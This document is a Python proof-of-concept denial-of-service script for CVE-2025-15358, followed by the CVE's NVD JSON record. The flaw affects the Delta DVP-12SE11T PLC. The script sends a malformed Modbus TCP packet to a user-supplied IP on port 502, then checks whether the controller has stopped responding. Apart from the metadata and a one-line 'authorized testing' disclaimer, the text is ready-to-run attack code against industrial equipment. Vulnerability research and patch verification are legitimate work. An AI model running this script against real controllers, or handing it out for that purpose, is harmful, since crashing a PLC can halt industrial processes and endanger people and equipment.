CVE-2025-15358

#!/usr/bin/env python3 """ CVE-2025-15358 PoC - DVP-12SE11T Denial of Service Note: This is for educational and authorized security testing purposes only. """ import socket import sys import time def cve_2025_15358_poc(target_ip, target_port=502): """ Denial of Service PoC for CVE-2025-15358 DVP-12SE11T PLC Modbus TCP DoS vulnerability Args: target_ip: Target PLC IP address target_port: Modbus TCP port (default: 502) """ # Malicious Modbus TCP packet to trigger DoS # Modbus TCP header with malformed data modbus_packet = bytes([ 0x00, 0x00, # Transaction ID 0x00, 0x00, # Protocol ID 0x00, 0x0F, # Length (15 bytes) 0xFF, # Unit ID 0x03, # Function code (Read Holding Registers) 0x00, 0x00, # Starting address 0x00, 0x64, # Quantity of registers (100) 0x00, 0x00, 0x00, 0x00, 0x00 # Malformed padding ]) print(f"[*] Sending DoS payload to {target_ip}:{target_port}") print(f"[*] Packet length: {len(modbus_packet)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send malicious packet sock.send(modbus_packet) print("[+] Malicious packet sent successfully") # Wait and check if device responds time.sleep(2) sock.send(modbus_packet) print("[+] Follow-up probe sent") try: response = sock.recv(1024) if response: print("[-] Device still responding - DoS may have failed") else: print("[+] Device not responding - DoS successful") except socket.timeout: print("[+] Device not responding - DoS successful") except socket.timeout: print("[+] DoS successful - Connection timed out") except ConnectionRefusedError: print("[-] Connection refused - Check if target is correct") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.1.100 502") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 cve_2025_15358_poc(target_ip, target_port)

{"cve": {"id": "CVE-2025-15358", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2025-12-30T09:15:52.997", "lastModified": "2026-01-06T21:04:23.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DVP-12SE11T - Denial of Service Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:deltaww:dvp-12se11t_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.16", "matchCriteriaId": "0C3C10A0-095C-42AE-BDC7-031777E1D92B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:deltaww:dvp-12se11t:-:*:*:*:*:*:*:*", "matchCriteriaId": "8064F0CC-BFDB-4E4B-8E20-437BA4663972"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2025-00022_DVP-12SE11T%20Multiple%20Vulnerabilities.pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}